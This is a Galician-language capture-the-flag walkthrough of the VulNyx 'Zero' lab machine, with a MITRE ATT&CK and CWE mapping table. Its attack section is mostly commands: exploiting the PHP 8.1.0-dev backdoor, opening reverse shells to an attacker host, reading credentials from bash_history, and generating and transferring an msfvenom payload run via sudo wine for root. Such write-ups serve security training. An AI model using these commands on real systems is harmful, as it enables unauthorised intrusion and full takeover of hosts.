Ir ao contido

Zero

Máquina virtual Zero

Fig. VulNyx Zero
Fig. Card VulNyx Zero

A máquina Zero é moi interesante porque...

  • PHP 8.1.0-dev con backdoor incorporado
  • Escapamos dun contenedor Docker
  • Credenciais no bash_history de root
  • Escalada mediante Wine executando payload de Windows
  • Dobre entorno: contenedor Docker → host real

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Zero -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Zero # 8080
whatweb IP_VulNyx_Zero:8080
curl -I IP_VulNyx_Zero:8080

Fase 2 — Análise

# Porto 8080 → PHP 8.1.0-dev (versión vulnerable con backdoor)
firefox IP_VulNyx_Zero:8080 &

# Busca de exploits para PHP 8.1.0-dev
searchsploit php 8.1.0-dev
# PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py

# Descarga do exploit
searchsploit -m 49933.py

Fase 3 — Explotación

# Opción 1: Exploit básico (pseudo-shell)
python 49933.py
# Escribimos: http://IP_VulNyx_Zero:8080
whoami # root (pero en pseudo-shell limitada)

# Opción 2: Exploit con reverse shell completa
# Descargamos exploit alternativo de GitHub
wget https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/refs/heads/main/revshell_php_8.1.0-dev.py

# Preparamos listener no atacante
nc -nlvp 6666

# Executamos exploit con reverse shell
python2.7 revshell_php_8.1.0-dev.py http://IP_VulNyx_Zero:8080 IP_Atacante 6666
# ⇒ Conseguimos reverse shell como root (dentro dun contenedor Docker)

Fase 4 — Post‑explotación

# Mellora da TTY shell
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash

# Verificación do entorno
whoami # root
find / -type f -iname "*.txt" 2>/dev/null # Non atopamos flags
cat /etc/passwd # Non hai usuarios do sistema (uid>1000)

# Detección de contenedor Docker
find / -type f -iname "*docker*" 2>/dev/null
ls -l /.dockerenv # Confirmamos que estamos nun contenedor Docker

# Enumeración de información sensible
cat ~/.bash_history
# Atopamos credenciais do usuario user_sistema no historial

# Acceso SSH ao host real
ssh user_sistema@IP_VulNyx_Zero # Usamos credenciais do historial
# ⇒ Conseguimos acceso ao host real como usuario user_sistema
cat /home/user_sistema/user.txt # ⇒ Flag de usuario conseguida

# Enumeración de permisos sudo
sudo -l
# User user_sistema may run the following commands on zero:
#     (root) NOPASSWD: /usr/bin/wine

# Xeración de payload con msfvenom
# No atacante:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_Atacante LPORT=8888 -f exe -o payload.exe

# Codificación en base64 para transferencia
base64 payload.exe | tee payload_b64.txt

# No host como user_sistema:
nano subir
# Copiar contido de payload_b64.txt
# Gardar e saír
cat subir | base64 -d > payload.exe

# Preparamos listener no atacante
nc -nlvp 8888

# Executamos payload con wine e privilexios sudo
sudo /usr/bin/wine payload.exe
# ⇒ Obtemos reverse shell de root mediante Wine

# Verificación (na reverse shell de Wine)
whoami # ZERO\root
cd Z:\root
type root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Zero

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Identificación de PHP 8.1.0-dev con backdoor Recoñecemento de versión vulnerable T1592 — Gather Victim Host Information
T1595.002 — Active Scanning: Vulnerability Scanning
CWE-506 — Embedded Malicious Code
3. Explotación Explotación de backdoor en PHP 8.1.0-dev Remote Code Execution / backdoor T1190 — Exploit Public-Facing Application
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-94 — Improper Control of Generation of Code
4. Post-explotación Detección de contorno Docker e enumeración Container awareness / discovery T1610 — Deploy Container
T1083 — File and Directory Discovery
CWE-200 — Information Exposure
Extracción de credenciais do historial de comandos Credential Access T1552.003 — Unsecured Credentials: Bash History
T1078 — Valid Accounts
CWE-312 — Cleartext Storage of Sensitive Information
Acceso SSH ao host con credenciais válidas Uso de contas válidas T1021.004 — Remote Services: SSH
T1078 — Valid Accounts
CWE-798 — Use of Hard-coded Credentials (contextual)
Xeración e transferencia de payload malicioso Ingress tool transfer T1105 — Ingress Tool Transfer
T1027 — Obfuscated Files or Information
CWE-494 — Download of Code Without Integrity Check
Abuso de wine con sudo para escalada de privilexios Abuso de mecanismos de elevación T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059 — Command and Scripting Interpreter
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control